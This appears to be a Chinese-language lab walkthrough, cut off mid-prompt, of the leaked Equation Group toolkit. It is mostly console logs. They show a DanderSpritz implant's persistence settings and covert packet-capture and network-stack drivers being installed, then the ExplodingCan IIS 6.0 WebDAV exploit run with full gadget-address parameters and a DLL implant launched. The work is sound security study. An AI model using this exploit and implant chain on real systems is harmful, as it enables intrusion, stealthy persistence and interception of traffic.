44d3d3fe-924f-4548- b115-ac9d8619b5e1 (in project fb) - [2022-04-14 17:01:14 z0.0.0.14] You are currently connected to this same target at the following CP addresses z0.0.0.12 - [2022-04-14 17:01:14 z0.0.0.14] You have been on this target previously with the following CP addresses z0.0.0.12 z0.0.0.13 ==================================================================== - [2022-04-14 17:01:14 z0.0.0.14] Showing ifconfig data so you can make sure you are on the correct target - [2022-04-14 17:01:14 z0.0.0.14] A script wishes to "run ifconfig " on a target to which you have multiple connections (z0.0.0.12,z0.0.0.14) Please enter the one you wish to use [z0.0.0.14] z0.0.0.14 FQDN: hacker-PC DNS Servers: 10.33.176.66, 10.33.176.67 - [2022-04-14 17:01:18 z0.0.0.14] Showing all non-local and non-tunnel encapsulation adapter information, see command 747 for full interface list | Description | MAC | IP | Netmask | Gateway | DHCP Server | Name | +-----------------------------------------+-------------------+------------- +---------------+----------+-------------+----------------------------------- --------------+ | Intel(R) PRO/1000 MT Desktop Adapter #2 | 08-00-27-94-5D-6D | 10.0.3.15 | 255.255.255.0 | 10.0.3.2 | 10.0.3.2 | 本地连接 2 ({A40956B8-5FE0-44B7-BC8F- 6D88A3C160A7}) | | Intel(R) PRO/1000 MT Desktop Adapter | 08-00-27-CE-56-28 | 172.19.2.17 | 255.255.255.0 | | Off | 本地连接 ({A0C897A1-9087-4671-9C61- 963602AA826F}) | Running command 'survey -run D:\work\malware\bvp47\fuzzbunch\Resources\Ops\Data\survey.xml -sections env- setup -quiet' Running command 'systemversion ' Architecture : i386 OS Family : winnt Version : 6.1 (Build 7600) Platform : Windows 7 Service Pack : 0.0 Extra Info : Product Type : Workstation / Professional Terminal Services is installed, but only one interactive session is supported. Command completed successfully - [2022-04-14 17:01:20 z0.0.0.14] 1 safety handler registered for AUDIT - [2022-04-14 17:01:20 z0.0.0.14] 1 safety handler registered for DRIVERS - [2022-04-14 17:01:20 z0.0.0.14] Loaded safety handlers from previous op(s) Command completed successfully - I detect multiple connections to the current target. Would you like to skip the survey entirely (including display of cached information)? YES Command completed successfully Command completed successfully Command completed successfully [09:01:24] Backgrounded 'pc_connect -key "Default" -payload "Danderspritz" - run "memlib" -target 172.19.2.17 1167 0 ' Id: 668 00:44:31>> pwd [00:44:31] ID: 761 'pwd' started [target: z0.0.0.14] C:\Windows\system32 连接成功,可以执行命令。 前面的操作流程,就是实现了负载的安装,连接,持久化,以及持久化后的连接。 查看一下这个连接的配置信息。 Command completed successfully 01:02:58>> kisu_connect -type pc [01:02:58] ID: 773 'kisu_connect' started [target: z0.0.0.14] Comms established to KISU instance 0x7a43e1fa (PC) version 2.4.3.1 Command completed successfully 01:03:08>> kisu_config [01:03:08] ID: 774 'kisu_config' started [target: z0.0.0.14] Version: 2.4.3.1 Kernel Module Loader: Registry Key: \registry\machine\SYSTEM\CurrentControlSet\Services\ql2300\Parameters Registry Value: {F3B1B367-3D0A-ED4D-9DA5-5845CC2380F1} User Module Loader: Registry Key: Registry Value: Module Store Directory: Registry Key: \registry\machine\SYSTEM\CurrentControlSet\Services\megasas\Parameters Registry Value: {79E1C12F-1F66-B97A-2D1E-84C7EBA821B7} Launcher: Service Name: adp94xx Registry Value: {C700D67A-4899-9E91-8E55-369B12D5AF37} Persistence: Method: SOTI Module Id Size Order Flags Name Process ============================================================================= ============== 0xbb397f32 68096 0 U EC UserModuleLoader 32-Bit 0xbb397f34 20 0 ECL Persistence Identifier 0xd0000101 41600 1 AD EC ntfltmgr B: BootStart, S: SystemStart, A: AutoStart, D: KernelDriver U: UserMode, R: SystemMode, K: ServiceKey, E: Encrypted C: Compressed, L: DemandLoad, O: AutoStart Once Command completed successfully 可以看出,安装了几个服务,加载驱动信息,支持敲门技术来限制连接。 根据网络信息,这个工具包含IPv4,IPv6的定制驱动,也包括一些Wifi的定制驱动,来实现目标机 控制。 DarkSkyline 下面以DarkSkyline(DSky)为例,演示KiSu如何进行模块管理。 DarkSkyline模块的功能是网络流量抓取。 darkskyline -method demi [01:46:09] ID: 836 'python' started [target: z0.0.0.14] - Determining registry key - SUCCESS (SYSTEM\CurrentControlSet\Services\ql2300\Parameters) - DSky Control (DSky 3.0.1) - - Current Configuration: - Driver Name : tdi6 - Capture File : \SystemRoot\Fonts\simtrbx.tff - Capture File Win32 : C:\Windows\Fonts\simtrbx.tff - Encryption Key : 65 df 37 40 bf b4 d1 3d 61 a3 57 f3 69 af a2 cf - Use DecibelMinute : True - Connected : True - Connected To : 0x7a43e1fa - PC - - 0) Exit - - Installation Commands - 1) Change driver name - 2) Install tools - 3) Uninstall tools - 4) Load driver - 5) Unload driver - 6) Verify Install - 7) Verify driver is running - - Status Commands - 8) Get current status - 9) Get packet filter - 10) Set packet filter - 11) Set max capture file size - 12) Set max packet size - 13) Set capture file name - 14) Set encryption key - - Control Commands - 15) Start capturing - 16) Stop capturing - 17) Get capture file - 18) Delete capture file - - KiSu Commands - 19) Disconnect From Kisu Enter the desired option 2 Do you want to install the DSky driver (tdi6.sys)? YES - Adding module into KiSu store - SUCCESS - Loading DSky (must be done before configuration) - Loading tdi6 - SUCCESS Please enter the capture file name [\SystemRoot\Fonts\simtrbx.tff] \SystemRoot\Fonts\simtrbx.tff - Setting capture file (\SystemRoot\Fonts\simtrbx.tff) - SUCCESS - - Enter a size of zero for an unlimited capture file - Enter the maximum file size (in bytes) [1048576] 1048576 - Setting maximum file size - SUCCESS Please enter the encryption key [65 df 37 40 bf b4 d1 3d 61 a3 57 f3 69 af a2 cf] 65 df 37 40 bf b4 d1 3d 61 a3 57 f3 69 af a2 cf - Verifying encryption key (65 df 37 40 bf b4 d1 3d 61 a3 57 f3 69 af a2 cf) - SUCCESS - Setting encryption key (65 df 37 40 bf b4 d1 3d 61 a3 57 f3 69 af a2 cf) - SUCCESS _DarkSkyline.pyo CONTINUE - DSky Control (DSky 3.0.1) - - Current Configuration: - Driver Name : tdi6 - Capture File : \SystemRoot\Fonts\simtrbx.tff - Capture File Win32 : C:\Windows\Fonts\simtrbx.tff - Encryption Key : 65 df 37 40 bf b4 d1 3d 61 a3 57 f3 69 af a2 cf - Use DecibelMinute : True - Connected : True - Connected To : 0x7a43e1fa - PC - - 0) Exit 然后设置抓包条件,开始抓包,停止抓包,上传抓包文件。 我这里是目标机重启后才正常工作。 - - Installation Commands - 1) Change driver name - 2) Install tools - 3) Uninstall tools - 4) Load driver - 5) Unload driver - 6) Verify Install - 7) Verify driver is running - - Status Commands - 8) Get current status - 9) Get packet filter - 10) Set packet filter - 11) Set max capture file size - 12) Set max packet size - 13) Set capture file name - 14) Set encryption key - - Control Commands - 15) Start capturing - 16) Stop capturing - 17) Get capture file - 18) Delete capture file - - KiSu Commands - 19) Disconnect From Kisu Enter the desired option 6 - Checking for presence of installed module - FOUND - Checking module configuration - PASSED _DarkSkyline.pyo CONTINUE 7 - Retrieving list of system objects - FOUND - Checking for presence of DSKY via control plugin - SUCCESS _DarkSkyline.pyo 值得注意的是支持eBPF格式的抓包,说明这个驱动是根据linux下的驱动修改而来。 安装成功后,会增加相关命令。 用这些命令,更加简单。 FlewAvanue FlewAvanue是一个IPv4的定制协议栈,安装后,就可以控制IPv4的协议栈。 可以实现包括包重定向,dns管理,traceroute查询等功能。 02:27:21>> dsky_ Commands: dsky_deletecapture dsky_getcapture dsky_getfilter dsky_install dsky_load dsky_setfilter dsky_setkey dsky_setmaxsize dsky_start dsky_status dsky_stop dsky_uninstall dsky_unload dsky_verifyinstall dsky_verifyrunning flav_ Commands: flav_control flav_plugins Aliases: flav_install flav_load flav_status flav_uninstall flav_upgrade flav_verifyinstall flav_verifyrunning flav_install [03:06:44] ID: 1187 'python' started [target: z0.0.0.16] Do you want to install the FlAv driver (ntevt.sys)? YES - Uploading the SYS - SUCCESS - Matching file time for ntevt.sys - SUCCESS - Adding registry keys - SUCCESS Command completed successfully 03:07:29>> flav_load [03:07:29] ID: 1206 'python' started [target: z0.0.0.16] - Loading ntevt - SUCCESS 加载成功后,重启目标机,就可以进行进一步的操作了。 Command completed successfully 03:07:34>> flav_status [03:07:34] ID: 1212 'python' started [target: z0.0.0.16] - Driver Version : 3.2.0.3 - Available : false - Adapter: WAN Miniport (Network Monitor) MAC: 00-00-00-00-00-00 Sent: 0000000000 Recv: 0000000000 Adapter: WAN Miniport (IP) MAC: 00-00-00-00-00-00 Sent: 0000000000 Recv: 0000000000 Adapter: WAN Miniport (IPv6) MAC: 00-00-00-00-00-00 Sent: 0000000000 Recv: 0000000000 Adapter: Intel(R) PRO/1000 MT Desktop Adapter IP: 172.19.2.17 Mask: 255.255.255.0 MAC: 08-00-27-ce-56-28 Sent: 0000000000 Recv: 0000000000 Adapter: Intel(R) PRO/1000 MT Desktop Adapter #2 IP: 10.0.3.15 Mask: 255.255.255.0 Gateway: 10.0.3.2 MAC: 08-00-27-94-5d-6d Sent: 0000000000 Recv: 0000000000 [03:22:55] ID: 1222 'pc_connect' started [target: z0.0.0.1] Connecting to [172.19.2.17]:1167 from [0.0.0.0]:4232... CONNECTED Starting session... PC LP Version: 2.3.0 LP...ready to send the MAGIC NUMBER Sending additional 160 bytes of random LP ...ready to receive the symmetric key LP...ready to decrypt the key Remote Information PC Version : 2.3.0 PC Id : 0x0000000000000000 Arch-Os : i386-winnt (compiled i386-winnt) Session Key : 41 66 91 5a 36 44 d0 2f bc a3 88 91 c9 f5 69 bf Getting remote OS information Remote OS Arch : i386 Compiled Arch : i386 Platform : winnt Compiled Platform : winnt Version : 6.1 (Windows 7) Service Pack : 0 C Lib Version : 6.0.0 Sending OS version check status to remote side (4 bytes) Data (OS version check status) has been sent Data (OS version check status) has been received and stored by remote side Ready to send implant Successfully loaded LP DLLs Payload File Name : D:\work\malware\bvp47\fuzzbunch\Resources\Pc\/../Dsz/Payloads/Files/i386- winnt-vc9s/release/Dsz_Implant_Pc.dll Send payload : true Original Size : 248832 Send Size : 137488 Checksum : c745 Name : Path : Export : #1 Sending PayloadInfo run type information Sending File/Library info to remote side (36 bytes) Data (File/Library info) has been sent Data (File/Library info) has been received and stored by remote side Sending Export name to remote side (3 bytes) Data (Export name) has been sent Data (Export name) has been received and stored by remote side Sending Payload to remote side (137488 bytes) Data (Payload) has been sent Data (Payload) has been received and stored by remote side ... Receiving Acknowledgements Received successful status message for Dll/Exe loaded Received successful status message for About to run payload Received successful status message for Exit This Message Loop Setting remote address to z0.0.0.17 Remote Address : z0.0.0.17 Architecture : i386 Compiled Architecture : i386 Platform : winnt Version : 6.1.0 (build 7600) C Library Version : 6.0.0 Process Id : 476 Type : Dsz Metadata : type=PC local=172.19.2.1:4232 remote=172.19.2.17:1167 - Remote host is i386-winnt (6.1.0) - -------------------------------------------------- - Performing setup for i386-winnt on z0.0.0.17 - -------------------------------------------------- - PROMPTED - Shutdown (CURRENT) - Registering Mcl_NtElevation options - SUCCESS - Setting Mcl_NtElevation Type - EpMe_GrSa - Registering Mcl_NtNativeApi options - SUCCESS - Setting Mcl_NtNativeApi Type - WIN32 - Registering Mcl_NtMemory options - SUCCESS - Setting Mcl_NtMemory Type - Std - Registering Mcl_ThreadInject options - SUCCESS - Setting Mcl_ThreadInject Type - Std Unable to get target DB for unknown target Able to load audit plugin, NT_ELEVATION loaded correctly, moving on - Current process options (0x4d) - DisableExceptionChainValidation - DisableThunkEmulation - ExecutionDisabled - Permanent Do you want to modify the process options? NO - Enabling BANNER FLAV change - SUCCEEDED - Enabling DNS FLAV change - SUCCEEDED - Enabling PACKETREDIRECT FLAV change - SUCCEEDED - Enabling PING FLAV change - SUCCEEDED - Enabling REDIRECT FLAV change - SUCCEEDED - Enabling TRACEROUTE FLAV change - SUCCEEDED - DISABLED - Authentication (CURRENT) - -------------------------------------------------- - Getting remote time - RETRIEVED - Getting host information - RETRIEVED - Getting OS GUID information - RETRIEVED - Storing host information - STORED - User is SYSTEM - -------------------------------------------------- Running command 'python Connected/Connected.py -project Ops' Unable to get target DB for unknown target - -------------------------------------------------- - Re-registering global wrappers for current target - -------------------------------------------------- - hide - Windows kernel 6.0+ PatchGuard protection - packetredirect - Trigger failure alerter - -------------------------------------------------- Showing you what we know so you can make a good decision in the menu below crypto_guid: a091bbc8-f3c7-417c-9079-34bf3aa1819e hostname: hacker-PC macs: [u'08-00-27-94-5d-6d', u'08-00-27-ce-56-28'] implant_id: 0x0000000000000000 Below match threshold or multiple matches. You must choose. Choose wisely. 0) None of these - create a new target db 1) (Confidence: 0.833333333333) fb / hacker-PC / PC ID 0x0000000000000000 / a091bbc8-f3c7-417c-9079-34bf3aa1819e / MACS: ['08-00-27-94-5d-6d', '08-00-27- ce-56-28'] Enter selection: 1 - [2022-04-15 11:23:35 z0.0.0.17] Target ID completed, ID 44d3d3fe-924f-4548- b115-ac9d8619b5e1 (in project fb) - [2022-04-15 11:23:35 z0.0.0.17] You are currently connected to this same target at the following CP addresses z0.0.0.12 z0.0.0.14 z0.0.0.15 z0.0.0.16 - [2022-04-15 11:23:35 z0.0.0.17] You have been on this target previously with the following CP addresses z0.0.0.12 z0.0.0.13 z0.0.0.14 z0.0.0.15 z0.0.0.16 ==================================================================== - [2022-04-15 11:23:35 z0.0.0.17] Showing ifconfig data so you can make sure you are on the correct target - [2022-04-15 11:23:36 z0.0.0.17] A script wishes to "run ifconfig " on a target to which you have multiple connections (z0.0.0.12,z0.0.0.14,z0.0.0.15,z0.0.0.16,z0.0.0.17) Please enter the one you wish to use [z0.0.0.17] z0.0.0.17 FQDN: hacker-PC DNS Servers: 10.33.176.66, 10.33.176.67 - [2022-04-15 11:23:39 z0.0.0.17] Showing all non-local and non-tunnel encapsulation adapter information, see command 1337 for full interface list | Description | MAC | IP | Netmask | Gateway | DHCP Server | Name | +-----------------------------------------+-------------------+------------- +---------------+----------+-------------+----------------------------------- --------------+ | Intel(R) PRO/1000 MT Desktop Adapter #2 | 08-00-27-94-5D-6D | 10.0.3.15 | 255.255.255.0 | 10.0.3.2 | 10.0.3.2 | 本地连接 2 ({A40956B8-5FE0-44B7-BC8F- 6D88A3C160A7}) | | Intel(R) PRO/1000 MT Desktop Adapter | 08-00-27-CE-56-28 | 172.19.2.17 | 255.255.255.0 | | Off | 本地连接 ({A0C897A1-9087-4671-9C61- 963602AA826F}) | Running command 'survey -run D:\work\malware\bvp47\fuzzbunch\Resources\Ops\Data\survey.xml -sections env- setup -quiet' Running command 'systemversion ' Architecture : i386 OS Family : winnt Version : 6.1 (Build 7600) Platform : Windows 7 Service Pack : 0.0 Extra Info : Product Type : Workstation / Professional Terminal Services is installed, but only one interactive session is supported. Command completed successfully - [2022-04-15 11:23:41 z0.0.0.17] 1 safety handler registered for AUDIT 重新启动后,连接目标机,可以看到,Flav已经加载。 - [2022-04-15 11:23:41 z0.0.0.17] 1 safety handler registered for DRIVERS - [2022-04-15 11:23:41 z0.0.0.17] Loaded safety handlers from previous op(s) Command completed successfully - I detect multiple connections to the current target. Would you like to skip the survey entirely (including display of cached information)? YES Command completed successfully Command completed successfully Command completed successfully [03:23:44] Backgrounded 'pc_connect -key "Default" -payload "Danderspritz" - run "memlib" -target 172.19.2.17 1167 0 ' Id: 1222 flav_status [03:26:20] ID: 1347 'python' started [target: z0.0.0.17] - Driver Version : 3.2.0.3 - Available : true - Adapter: WAN Miniport (Network Monitor) MAC: 00-00-00-00-00-00 Sent: 0000000000 Recv: 0000000000 Adapter: WAN Miniport (IP) MAC: 00-00-00-00-00-00 Sent: 0000000000 Recv: 0000000000 Adapter: WAN Miniport (IPv6) MAC: 00-00-00-00-00-00 Sent: 0000000000 Recv: 0000000000 Adapter: Intel(R) PRO/1000 MT Desktop Adapter IP: 172.19.2.17 Mask: 255.255.255.0 MAC: 08-00-27-ce-56-28 Sent: 0000000000 Recv: 0000000000 Adapter: Intel(R) PRO/1000 MT Desktop Adapter #2 IP: 10.0.3.15 Mask: 255.255.255.0 Gateway: 10.0.3.2 MAC: 08-00-27-94-5d-6d Sent: 0000000000 Recv: 0000000000 操作总结 前面已经介绍了DSz的基本操作流程,与Cobalt Strike基本一致。 下面看看它的操作逻辑,在反向连接建立后,在对应的Terminal地部tab标签上上右击,会出现 上下文菜单。 可以看出,除了Tab本身和会话的管理,主要的功能是在Plugins下面的选项,可以执行命令,也 可以生成一个shell,进行进一步的操作。并且支持Script编辑。 点击TargetDetail,就进入了一个目标机的详细信息页面。 可以在 这个页面了解目标的运行状态和环境信息。 在上下文菜单执行shell,就会在目标机上生成一个shell,默认是cmd.exe,也可以修改为 powershell的终端。 但是在Plugin菜单的Files菜单,下载文件的时候可以在TargetDetail下的Transfer页面看到文件 的内容。文件上传功能还木有找到。 DSz支持脚本功能,但是木有找到执行的地方。 FuzzBunch 设置好环境,因为里面的一个插件在python 2.7下面运行失败,所以需要一个python 2.6环境。 才可以运行 fb.py。 从这里也可以看出fb是个老界面,GUI是新界面。 python fb.py fb > ? Core Commands ============= Command Description ------- ----------- ! Shortcut for shell 执行本地命令 ? Shortcut for help 帮助 autorun Set autorun mode back Leave the current context back to the default 返回到默认环境 banner Print the startup banner 显示版本信息 changeprompt Change the command prompt 修改提示符 echo Echo a message 显示信息 这些命令很多,但是主要的命令就是插件的执行,这个终端支持Tab补全。 standardop enter Enter the context of a plugin 进入到一个插件环境 eof Quit program (CTRL-D) 退出 exit Alias for back 返回 help Print out help 帮助 history Run a previous command. 执行历史命令 info Print information about the current context 显示当前环境的信息 mark Mark a session item python Drop to an interactive Python interpreter 进入python shell quit Quit fuzzbunch 退出 redirect Configure redirection 重定向 resizeconsole None retarget Set basic target info 设置目标信息 script Run a script 运行脚本 session Show session items 会话列表 setg Set a global variable 设置全局变量 shell Execute a shell command 执行shell命令 show Show plugin info 显示插件信息 sleep Sleep for n seconds standardop Print standard OP usage message 标准操作流程 toolpaste Paste and convert data from external tool output unsetg Unset a global variable 取消全局变量 use Activate a plugin for use and enter context 进入插件环境 standardop Fuzzbunch2 Standard OP Usage Help --------------------------------- === Summary === Run the following commands. Answer questions along the way. Abort on any failures. use PcConfig use Explodingcan use Pclauncher === Detail === use PcConfig will run the Peddlecheap configuration plugin and will generate a configured Peddlecheap DLL. 标准的操作流程是先生成一个beacon,exe或dll格式。然后进行exploit,结果就是生成一个 socket等待luancher连接。最后是luancher连接socket,上传Beacon,并在内存中执行它。这 时会生成一个新窗口,运行一个LP,以便通信。 下面简单操作示范一下。 这个模块已经被GUI程序DenderSpritz代替,先用DSz生成dll,并启动监听端口。然后继续操 作。 use Explodingcan will run the Explodingcan exploit. It will first run through the Explodingcan touch plugin then try to run the exploit. This plugin will generate an open socket connection that MUST be consumed by the Pclauncher plugin before exiting. use Pclauncher will upload the configured Peddlecheap DLL to target over the open connection from Explodingcan and run it from memory. A new window will be opened for the LP to communicate with target. use PcConfig [-] Error: Plugin PcConfig not found! fb > use Ex Explodingcan Explodingcantouch fb > use Explodingcan [!] Entering Plugin Context :: Explodingcan [*] Applying Global Variables [+] Set TargetIp => 172.19.2.15 [+] Set NetworkTimeout => 60 [*] Applying Session Parameters [*] Running Exploit Touches [!] Enter Prompt Mode :: Iistouch [*] TargetIp :: Target IP Address [?] TargetIp [172.19.2.15] : [*] TargetPort :: Port used by the HTTP service [?] TargetPort [80] : [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] EnableSSL :: Enable SSL for HTTPS targets [?] EnableSSL [False] : [*] hostString :: String to use in HTTP request [?] hostString [localhost] : [!] Preparing to Execute Iistouch [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.19.2.15] : [?] Destination Port [80] : [+] (TCP) Local 172.19.2.15:80 [+] Configure Plugin Remote Tunnels Module: Iistouch ================ Name Value ---- ----- TargetIp 172.19.2.15 TargetPort 80 NetworkTimeout 60 EnableSSL False hostString localhost [?] Execute Plugin? [Yes] : [*] Executing Plugin [*] Initializing Parameters [*] Gathering Parameters [+] Sending HTTP Options Request [+] Initializing network [+] Creating Launch Socket [+] Target is 172.19.2.15:80 [-] Could not create launch socket! [-] Network initialization failed! [-] HTTP request failed 因为目标机木有启动iis,所以失败。安装IIS,再次运行,也失败了。 根据错误信息,这个exploit的目标是windows 2003 iis 6。所以这里xp的环境,iis5.1。 部署一台满足条件的目标机。再次执行。 [-] Options Request Failed! [!] Plugin failed [-] Error: Iistouch Failed fb Exploit (Explodingcan) > [*] Exporting Contract To Exploit [!] Explodingcan requires WEBDAV on Windows 2003 IIS 6.0 use Explodingcan [!] Entering Plugin Context :: Explodingcan [*] Applying Global Variables [+] Set TargetIp => 172.19.2.18 [+] Set NetworkTimeout => 60 [*] Applying Session Parameters [*] Running Exploit Touches [!] Entering Plugin Context :: Iistouch [*] Applying Global Variables [+] Set TargetIp => 172.19.2.18 [+] Set NetworkTimeout => 60 [*] Inheriting Input Variables [+] Set TargetIp => 172.19.2.18 [+] Set EnableSSL => False [+] Set TargetPort => 80 [+] Set NetworkTimeout => 60 [!] Enter Prompt Mode :: Iistouch [*] TargetIp :: Target IP Address [?] TargetIp [172.19.2.18] : [*] TargetPort :: Port used by the HTTP service [?] TargetPort [80] : [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] EnableSSL :: Enable SSL for HTTPS targets [?] EnableSSL [False] : [*] hostString :: String to use in HTTP request [?] hostString [localhost] : [!] Preparing to Execute Iistouch [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.19.2.18] : [?] Destination Port [80] : [+] (TCP) Local 172.19.2.18:80 [+] Configure Plugin Remote Tunnels Module: Iistouch ================ Name Value ---- ----- TargetIp 172.19.2.18 TargetPort 80 NetworkTimeout 60 EnableSSL False hostString localhost [?] Execute Plugin? [Yes] : [*] Executing Plugin [*] Initializing Parameters [*] Gathering Parameters [+] Sending HTTP Options Request [+] Initializing network [+] Creating Launch Socket [+] Target is 172.19.2.18:80 [+] Sending HTTP Head Request [+] Initializing network [+] Creating Launch Socket [+] Target is 172.19.2.18:80 [*] Finding IIS Version [+] Checking server response for IIS version [+] Found IIS version 6.0 [+] Windows 2003 [*] Detecting WEBDAV [+] Checking server response for Webdav [+] SEARCH Option found. Webdav is enabled. [+] PROPFIND Option found. Webdav is enabled. [*] Writing Contract [+] IIS Version: 6.0 [+] IIS Target OS: WIN2K3 [+] Target Language: Unknown [+] Target Service Pack: Unknown [+] Target Path: / [+] Enable SSL: FALSE [+] WebDAV is ENABLED [*] IIS Touch Complete [+] Iistouch Succeeded [*] Exporting Contract To Exploit [!] Explodingcan requires WEBDAV on Windows 2003 IIS 6.0 [!] Entering Plugin Context :: Explodingcantouch [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 172.19.2.18 [*] Inheriting Input Variables [+] Set TargetIp => 172.19.2.18 [+] Set TargetPort => 80 [+] Set NetworkTimeout => 60 [!] Enter Prompt Mode :: Explodingcantouch [*] hostString :: String to use in HTTP request [?] hostString [localhost] : [*] maxSizeToCheck :: Use 130 to ensure path size determination, less to send fewer requests. 70 will cover all exploitable sizes. [?] maxSizeToCheck [70] : [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] EnableSSL :: Enable SSL for HTTPS targets [?] EnableSSL [False] : [*] TargetIp :: Target IP Address [?] TargetIp [172.19.2.18] : [*] TargetPort :: Port used by the HTTP service [?] TargetPort [80] : [*] Delay :: Number of seconds to wait between each request [?] Delay [0] : [!] Preparing to Execute Explodingcantouch [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.19.2.18] : [?] Destination Port [80] : [+] (TCP) Local 172.19.2.18:80 [+] Configure Plugin Remote Tunnels Module: Explodingcantouch ========================= Name Value ---- ----- hostString localhost maxSizeToCheck 70 NetworkTimeout 60 EnableSSL False TargetIp 172.19.2.18 TargetPort 80 Delay 0 [?] Execute Plugin? [Yes] : [*] Executing Plugin [*] Initializing Parameters [*] Gathering Parameters [*] Finding Path Size [+]Checking path sizes from 3 to 70 [+]No delay set. [+]The expected HTTP 500 response was returned [+] Found IIS Path Size 18 [*] Writing Contract [+] IIS Path Size: 18 [+] Request string: localhost [+] Enable SSL: FALSE [*] ExplodingCan Touch Complete [+] Explodingcantouch Succeeded [*] Exporting Contract To Exploit [+] Set IISPathSize => 18 [+] Set hostString => localhost [!] ExplodingCan requires the length of the IIS path [!] Enter Prompt Mode :: Explodingcan Module: Explodingcan ==================== Name Value ---- ----- TargetIp 172.19.2.18 TargetPort 80 NetworkTimeout 60 EnableSSL False IISPathSize 18 hostString localhost PayloadAccessType AuthenticationType None Target [!] Plugin Variables are NOT Valid [?] Prompt For Variable Settings? [Yes] : [*] TargetIp :: Target IP Address [?] TargetIp [172.19.2.18] : [*] TargetPort :: Port of the HTTP service [?] TargetPort [80] : [*] NetworkTimeout :: Network timeout (in seconds) [?] NetworkTimeout [60] : [*] EnableSSL :: Enable SSL for HTTPS targets [?] EnableSSL [False] : [*] IISPathSize :: Length of IIS path (between 3 and 68) [?] IISPathSize [18] : [*] hostString :: String to use in HTTP requests [?] hostString [localhost] : [*] PayloadAccessType :: Callback/Listen Payload Access 0) Callback Target connect() callback for payload upload connection 1) Listen Target listen()/accept() for payload upload connection 2) Backdoor Target open HTTP backdoor for payload upload connection [?] PayloadAccessType [] : 1 [+] Set PayloadAccessType => Listen [*] AuthenticationType :: Authentication type for target *0) None No authentication 1) Basic Basic HTTP authentication [?] AuthenticationType [0] : [*] Target :: Target OS 0) W2K3SP0 Windows 2003 Base 1) W2K3SP1 Windows 2003 Service Pack 1 2) W2K3SP2 Windows 2003 Service Pack 2 3) W2K3SP0_v5IM Windows 2003 Base (IIS 5.0 Isolation Mode) 4) W2K3SP1_v5IM Windows 2003 Service Pack 1 (IIS 5.0 Isolation Mode) [?] Target [] : 2 [+] Set Target => W2K3SP2 [*] ListenPort :: Listen port for shellcode to listen/accept on target [?] ListenPort [] : 3005 [+] Set ListenPort => 3005 [*] ListenLocalPort :: Local listen por [?] ListenLocalPort [] : 3005 [+] Set ListenLocalPort => 3005 [*] CallinTimeout :: Sleep time before making callin to target [?] CallinTimeout [10] : [!] Preparing to Execute Explodingcan [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.19.2.18] : [?] Destination Port [80] : [+] (TCP) Local 172.19.2.18:80 [+] Local Tunnel - local-tunnel-2 [?] Destination IP [172.19.2.18] : [?] Destination Port [3005] : [+] (TCP) Local 172.19.2.18:3005 [+] Configure Plugin Remote Tunnels Module: Explodingcan ==================== Name Value ---- ----- ListenPort 3005 ListenLocalPort 3005 CallinTimeout 10 TargetIp 172.19.2.18 TargetPort 80 NetworkTimeout 60 EnableSSL False IISPathSize 18 hostString localhost buf1size 272 buf2size 3072 SkipFree 33686018 SkipOffset 220 VirtualProtectOffset 284 WriteAddressOffset1 224 WriteAddressOffset2 292 ObjectAddress 256 ObjectAddressOffset1 268 ObjectAddressOffset4 252 ObjectAddressOffset2 232 ObjectAddressOffset3 216 MovEcxEspOffset 252 StackAdjustOffset1 220 StackAdjustOffset2 224 StackAdjustOffset3 312 Push40Offset 268 LeaveRetOffset1 308 LeaveRetOffset2 372 SetEbp1 372 SetEbp1Offset 304 SetEbp2 348 SetEbp2Offset 332 SetEbp3 312 SetEbp3Offset 368 MovEbpOffset 336 ShellcodeAddr 416 ShellcodeAddrOffset 280 ShellcodeOffset 376 JmpEBXOffset 276 ProcHandleOffset 288 VProtSizeOffset 296 LoadEaxOffset 312 EaxValOffset 352 LoadEax2Offset 360 MovEcxEsp 1744920706 WriteAddress 1745031872 StackAdjust 1744858703 Push40 1744875795 LeaveRet 1744906727 MovEbp 1744858629 JmpEBX 1744905443 SyscallAddress 2147353344 VProtSize 1745028206 LoadEax 1744868241 EaxValAddress 1744863814 LoadEax2 1744969130 PayloadAccessType Listen AuthenticationType None Target W2K3SP2 [?] Execute Plugin? [Yes] : [*] Executing Plugin [*] Running Exploit [*] Initializing Parameters [-] Listen: ListenLocalPort: 3005 [-] Listen: ListenPort: 3005 [+] Initializing Complete [*] Initializing Network [+] Creating Launch Socket [+] Target is 172.19.2.18:80 [+] Network initialization complete [*] Building Exploit Buffer [+] Set Egg Authcode: 3a4a4618 [+] Set Egg XOR Mask: f4 [+] Setting listen information in Egg, TCP port 3005 操作完毕后,在本地会发现一个连接。 最后上传PeddleCheap生成的dll到目标机。 [+] Exploit Build Complete [*] Exploiting Target [+] Building HTTP Request [+] No Authentication [+] Sending Exploit [+] Sending 5142 (0x00001416) bytes [+] SendExploit() send complete [*] Calling in to listener on target [*] Waiting 10 seconds before calling in. [*] Connecting to listener [+] Callin success [*] Waiting for Authcode from exploit [+] Authcode check passed : EGG 3a4a4618 : Generated 3a4a4618 [*] Exploit Complete [+] Explodingcan Succeeded [!] Connection to Target Established [!] Waiting For Next Stage netstat -ant | findstr 3005 TCP 172.19.2.1:3915 172.19.2.18:3005 ESTABLISHED InHost use Pcdlllauncher [!] Entering Plugin Context :: Pcdlllauncher [*] Applying Global Variables [+] Set NetworkTimeout => 60 [*] Applying Session Parameters [!] Enter Prompt Mode :: Pcdlllauncher Module: Pcdlllauncher ===================== Name Value ---- ----- ConnectedTcp 3005 XorMask 47 NetworkTimeout 60 LPFilename D:\work\malware\bvp47\fuzzbunch\Resources\Pc\Legac y\PC_Exploit.dll LPEntryName ServiceEntry ImplantFilename D:\Logs\fb\z0.0.0.1\Payloads\PC_Level3.dll TargetOsArchitecture x86 PCBehavior 8 [!] plugin variables are valid [?] Prompt For Variable Settings? [Yes] : [*] ConnectedTcp :: Connected TCP Socket [?] ConnectedTcp 